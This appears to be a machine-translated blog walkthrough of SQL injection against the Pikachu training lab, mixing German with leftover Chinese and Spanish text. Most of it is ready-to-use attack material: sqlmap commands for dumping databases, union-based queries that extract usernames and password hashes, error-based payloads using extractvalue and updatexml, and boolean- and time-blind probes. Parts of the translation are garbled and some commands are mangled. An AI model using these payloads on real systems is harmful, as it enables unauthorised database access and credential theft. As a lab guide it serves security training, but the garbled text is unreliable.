Pikachu-----Sql Inject (SQL-Injection)

Inhaltsverzeichnis

 1. SQL-Injection

1. Einleitung

Zweitens, SQLmap

1. Einleitung

Drei, durchbrechen

1. Digitale Injektion (Post)

2. Zeicheninjektion (get)

3. Suchinjektion

 Injektion vom Typ 4.xx

5. Injektion „Einfügen/Aktualisieren“. 

 6.Injektion löschen

7. HTTP-Header-Injection

8. Die Blindinjektion (basierend auf Boolian) basiert auf der Fehlerberichterstattung

9. Blind (basierend auf der Zeit) basierend auf der Zeit

10. Wide-Byte-Injektion


 1. SQL-Injection

1. Einleitung

offizielle Einführung

Der Hauptgrund für die SQL-Injection-Sicherheitsanfälligkeit besteht darin, dass bei der Dateninteraktion, wenn die Front-End-Daten zur Verarbeitung an den Hintergrund übergeben werden, keine strenge Beurteilung vorgenommen wird, was dazu führt, dass die eingehenden „Daten“ gespleißt werden in die SQL-Anweisung eingefügt und gilt als Inhalt der SQL-Anweisung. Teilweise Ausführung. Dadurch wird die Datenbank beschädigt (sie wird entfernt, gelöscht oder sogar die gesamte Serverautorität fällt weg).

Beim Erstellen von Code werden im Allgemeinen die folgenden Strategien verwendet, um SQL-Injection-Schwachstellen zu verhindern:
1. Filtern Sie die an die SQL-Anweisung übergebenen Variablen und lassen Sie keine gefährlichen Zeichen zu.
2. Verwenden Sie Parametrisierung (parametrisierte Abfrage oder parametrisierte Anweisung).
3. Darüber hinaus gibt es derzeit viele ORM-Frameworks, die automatisch die Parametrisierung verwenden, um das Injektionsproblem zu lösen. Sie bieten jedoch auch eine „Stitching“-Methode, sodass Sie bei der Verwendung vorsichtig sein müssen!

Zweitens, SQLmap

1. Einleitung

sqlmap ist ein automatisiertes Tool zur Erkennung von SQL-Injection

--batch: Mit diesem Parameter ist keine Benutzereingabe erforderlich und der von sqlmap angeforderte Standardwert wird für die ewige Ausführung verwendet.

--technique: Wählen Sie die Injektionstechnik aus, B: Boolean-based-blind (Boolesche Blindinjektion)

--threads 10: Setzen Sie den Thread auf 10, die Laufgeschwindigkeit wird schneller

#Datenbank abfragen#【Sicherheit】

Geben Sie das Ziel an. U  
Verwenden Sie den Parameter -u oder –url, um eine URL als Ziel anzugeben, gefolgt von einer Zeichenfolge, die die URL darstellt. Außerdem kann der Port angegeben werden.

(2) GET-Typ

* Überprüfen Sie den Injektionspunkt  
sqlmap.py -u URL  
* Alle Datenbanken auflösen  
sqlmap.py -u URL --cshiurrent --dbs  
* Tabelle auflösen  
sqlmap.py -u URL -D Datenbankname --tables  
* Spalte auflösen  
sqlmap.py - u URL-D Datenbankname-T Tabellenname--Spalten  
* Burst-Wert  
sqlmap.py -u URL-D Datenbankname-T Tabellenname-C Feldname--dump 


(3) POST-Typ 


* Nutzlast vom Scan-Injection-Typ   : python sqlmap.py -r "D:\post.txt"
* Alle Datenbanken auflösen  
python sqlmap.py -r "D:\post.txt" --dbs  
* Tabelle auflösen  
python sqlmap.py - r "D:\post.txt" -D Datenbankname --tables  
* Burst-Spalte  
Python sqlmap.py -r "D:\post.txt" -D Datenbankname -T Tabellenname --columns  
* Burst-Wert  
Python sqlmap. py -r „D:\post.txt“ -D Datenbankname -T Tabellenname -C Feldname --dump  
 

Drei, durchbrechen

1. Digitale Injektion (Post)

Geben Sie die Ebene ein und stellen Sie fest, dass im Abfragefeld 6 Zahlen zur Auswahl stehen.

 Abfrage 1, die zurückgegebenen Ergebnisse lauten wie folgt, die URL hat sich nicht geändert, da es sich um eine Post-Methode handelt.

 BP-Paketerfassung

Verwenden Sie einfache Anführungszeichen, um festzustellen, ob ein Injektionspunkt vorhanden ist

 1=2 Echofehler

   id=1 und 1=1 Das Echo ist normal, es gibt einen Injektionspunkt und die digitale Injektion wird überprüft.

1.1 Erraten Sie die Feldlänge

Sortieren nach x(Zahl)

id=1 order by 2

 order by 3 meldet einen Fehler, der darauf hinweist, dass zwei Spalten vorhanden sind.

 1.2 Fragen Sie die Datenbank ab

id=1 union select database(),2#

 Das im vorherigen Schritt gefundene Feld hat zwei Spalten

 Finde die Datenbank Pikachu

id=1 union select database(),version()#

 1.3 Holen Sie sich den Tabellennamen

 id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

 1.4 Holen Sie sich den Feldnamen

id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#

 

1,5 Abfragefeldwert

id=1 union select username,password from users#

Das Passwort wird von md5 verschlüsselt und jhttps://www.cmd5.com/ betritt die Website, um es zu entschlüsseln.

2. Zeicheninjektion (get)

 Der in der Get-Methode eingegebene Inhalt wird in der URL angezeigt

 2.1 Beurteilung des Injektionstyps

Wir müssen den Namen in die Datenbank eingeben, z. B. Kobe

Ohne einfache Anführungszeichen wird ein Fehler gemeldet. Es wird als Zeichentypinjektion beurteilt.

 

2.2 Beurteilung der Anzahl der Zeichen 

kobe' order by 2#

kobe' order by 3#

 

 Die Anzahl der Felder beträgt also 2

2.3 Beurteilung der Anzeigeposition

kobe' union select 1,2#

 Es wurde festgestellt, dass beide Positionen 1 und 2 korrekt wiedergegeben werden können und in den Positionen 1 und 2 eine gemeinsame Injektion verwendet wird.

2.4 Sprengstoffbibliothek

1' union select 1,group_concat(schema_name) from (information_schema.schemata) #  
 所有数据库  
1' union select 1,database() #   当前数据库  

Alle Datenbanken:

 Aktuelle Datenbank:

 2,5-Burst-Tabelle
 

1' union select 1,group_concat(table_name)from(information_schema.tables) where table_schema='pikachu' # 数据库

2.6 Burst

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' #  当前数据库的指定表名
1' union select 1,group_concat(column_name) from (information_schema.columns) where table_name='表名' #  在所有数据库中指定一个表名

 2,7 Burst-Daten

1' union select username,password from users#

3. Suchinjektion

Die allgemeine Suchleiste existiert in der Form „%keyword%“, es muss jedoch klar unterschieden werden, ob es sich um eine Suchanfrage auf der Seite oder eine Suchanfrage in der Datenbank handelt.

select username,id,email from member where username like '%$name%';

构造后
select username,id,email from member where username like '%kobe%' and 1=1 #';

 Injektion vom Typ 4.xx

Die sogenannte xx-Typ-Injektion bedeutet, dass der Eingabewert in verschiedene Symbole (einfache Anführungszeichen, doppelte Anführungszeichen, Klammern usw.) eingeschlossen werden kann.

"select id,email from member where username=('$name')";

 Pyaload:

aaa') union select 'aaa',group_concat(concat_ws(':',username,password)) from pikachu.users#

5. Injektion „Einfügen/Aktualisieren“. 

Einfügen, Einfügen-Injektion bezieht sich auf die von unserem Front-End registrierten Informationen, und der Hintergrund fügt sie durch den Einfügevorgang in die Datenbank ein. Wenn der Hintergrund die SQL-Injection für unsere Eingabe nicht verhindert, können wir die SQL-Injection während der Registrierung spleißen.

 BP-Paketerfassung

Verwenden Sie Fehlerinjektion

Sie können extractvalue oder updatexml zur Fehlerinjektion verwenden

EXTRACTVALUE (XML_document, XPath_string);
Der erste Parameter: XML_document liegt im String-Format vor und ist der Name des XML-Dokumentobjekts. Der
zweite Parameter: XPath_string (String im Xpath-Format).
Funktion: Gibt die Zeichen zurück, die den abgefragten Wert enthalten target XML Die Zeichenfolge
kann für die Injektion verwendet werden, da die Anweisung einen Fehler meldet, wenn der xpath nicht der Syntax entspricht. XPATH-Syntaxfehler: (Injektionsinformationen), sodass die abzufragenden Informationen in den xpath eingefügt und angezeigt werden können Fehler melden.

Nutzlastanalyse: Das einfache Anführungszeichen nach 1 ist das einfache Anführungszeichen vor dem Abschluss, das letzte einfache Anführungszeichen in der Nutzlast ist das einfache Anführungszeichen nach dem Abschluss, das durch oder oder und verbunden werden kann, und es gibt zwei in extractvalue () Parameter Der erste Parameter kann beliebig ausgefüllt werden, der Schwerpunkt liegt hier auf dem zweiten. concat() bedeutet, dass das Rückgabeergebnis eine durch Verbinden von Parametern generierte Zeichenfolge ist, und 0x7e ist der ASCII-Code, was ~ bedeutet

Ersetzen Sie einfach die Anweisung nach select

payload:1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
payload:1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '

 

Ebenso können wir beim Anmelden auch die Fehlerinjektion verwenden.

payload:1' or updatexml(1,concat(0x7e,database(),0x7e),1) or '

 6.Injektion löschen

Löschen Sie die Schnittstelleninjektion, schreiben Sie eine Nachricht, klicken Sie auf Löschen und erfassen Sie das Paket.

id=99+or+updatexml(1,concat(0x7e,database()),1)  #查询数据库
   +or+updatexml(1,concat(0x7e,version()),0)  #查询数据库版本

7. HTTP-Header-Injection

Zusätzlich zur Injektion zwischen Parametern kann es auch zu einer Injektion im http-Header kommen.
Zunächst muss das Anmeldekennwort korrekt sein. Es wurde festgestellt, dass IP, User-Agent und http-accept alle in der Datenbank aufgezeichnet sind

 Verwenden Sie die Fehlerinjektion im Benutzeragenten

8. Die Blindinjektion (basierend auf Boolian) basiert auf der Fehlerberichterstattung

In einigen Fällen verwendet der Hintergrund die Methode der Fehlerabschirmung, um die Fehlerberichterstattung abzuschirmen, und zu diesem Zeitpunkt kann die Injektionsbeurteilung nicht auf der Grundlage der Fehlerberichterstattungsinformationen getroffen werden.

Die Injektion wird in diesem Fall „Blindinjektion“ genannt. Das heißt, wir können nur beurteilen, ob die injizierte SQL-Anweisung erfolgreich ausgeführt wurde, indem wir prüfen, ob die Seite korrekt ist. Tatsächlich sind viele Websites auch vom Typ Blindinjektion .

kobe' and 1=1# 正常
kobe' and 1=2# 报错

Bei der booleschen Blindinjektion müssen Sie Dichotomie und einige MySQL-Funktionen verwenden, z. B. mid (), ascii (), length () usw.

ascii(): Gibt den ASCII-Code des Zeichens ganz links zurück. Gibt 0 zurück, wenn die Zeichenfolge leer ist, oder NULL, wenn die Zeichenfolge NULL ist.

length(): Gibt die Stringlänge im Byte-Typ zurück.

Wenn wir beispielsweise den Datenbanknamen auflösen möchten, müssen wir zunächst die Länge der Datenbank kennen und dann jedes Zeichen des Datenbanknamens einzeln auflösen.

kobe' and length(database())>10 #   ==>   页面错误
kobe' and length(database())>5 #   ==>   页面正确
kobe' and length(database())>8 #   ==>   页面错误
kobe' and length(database())>6 #   ==>   页面正确
kobe' and length(database())=7 #   ==>   页面正确

Als nächstes folgt jedes Zeichen (ähnlich wie die Verwendung einer for-Schleife zum Explodieren).

erstes Zeichen:

kobe' and ascii(mid(database(),1,1))>115 #  ==> 页面错误
kobe' and ascii(mid(database(),1,1))>110 #  ==> 页面正确
kobe' and ascii(mid(database(),1,1))>112 #  ==> 页面错误
kobe' and ascii(mid(database(),1,1))=112 #  ==> 页面正确

Der ASCII-Code des ersten Zeichens ist 112 und das entsprechende Zeichen ist p

Die restlichen Charaktere werden der Reihe nach explodiert: Pikachu

  •     Die Anzahl aller Tabellen in der Burst-Datenbank
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #  ==>  页面错误
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5 #  ==>  页面正确

Die Anzahl der erhaltenen Tabellen beträgt 5

  •     Explodieren Sie die Länge der ersten Tabelle
kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 #  ==>  页面错误
  •     Zerlegen Sie jedes Zeichen der ersten Tabelle
kobe' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 #  ==>  页面错误

Holen Sie sich das erste Zeichen der ersten Tabelle als h und dann die erste Tabelle als httpinfo

  •     Explodieren Sie die Anzahl der Felder in der angegebenen Tabelle

Wenn wir jetzt die Anzahl der Felder in der Benutzertabelle auflösen möchten:

kobe' and (select count(column_name) from information_schema.columns where
 table_schema=database() and table_name='users')=4 #

Es ist bekannt, dass die Anzahl der Benutzerfelder 4 beträgt

  •     Explodieren Sie die Länge des ersten Feldes
kobe' and length((select column_name from information_schema.columns where
 table_schema=database() and table_name='users' limit 0,1))=2 #
  •     Zerlegen Sie jeden Wert des ersten Felds
kobe' and ascii(mid((select column_name from information_schema.columns where
 table_schema=database() and table_name='users' limit 0,1),1,1))=105 #

Nach dieser Idee kann die gesamte Datenbank explodiert werden.
Im Allgemeinen ist es problematischer, nicht praktisch und es geht nur um Ideen.

9. Blind (basierend auf der Zeit) basierend auf der Zeit

Bei der booleschen Blindinjektion kann auch festgestellt werden, ob die Seite korrekt ist, um zu beurteilen, ob die injizierte SQL-Anweisung erfolgreich ausgeführt wurde, während bei der verzögerten Injektion keine Rückgabeinformationen angezeigt werden können.

Sie können nur beurteilen, ob die boolesche Bedingung wahr ist, indem Sie die Funktion „sleep()“ über den Rückgabewert der booleschen Bedingung ausführen, um die Antwort der Webseite zu verzögern.

kobe' and sleep(5) #  延迟5秒

 Es gibt eine spürbare Verzögerung, die auf eine boolesche Zeiteinspritzung hinweist.

数据库名长度不大于7 就延时9秒

kobe' and sleep(if(length(database())>7,0,9)) # ==> 延时

 /数据库名长度等于7 就不延时

kobe'andsleep(if(length(database())=7,0,3)) # ==> 不延时

10. Wide-Byte-Injektion

Auf tatsächlichen Websites werden viele Sonderzeichen maskiert, um die Verschmutzung von SQL-Anweisungen durch Sonderzeichen zu filtern.

Wenn ein einfaches Anführungszeichen als \' maskiert wird und die SQL-Anweisung nicht erstellt werden kann, kann eine Wide-Byte-Injection versucht werden.

Verwenden Sie %df und \wide bytes, um „op“ zu bilden

Supongo que te gusta

Origin blog.csdn.net/m0_65712192/article/details/128395604
Recomendado
Clasificación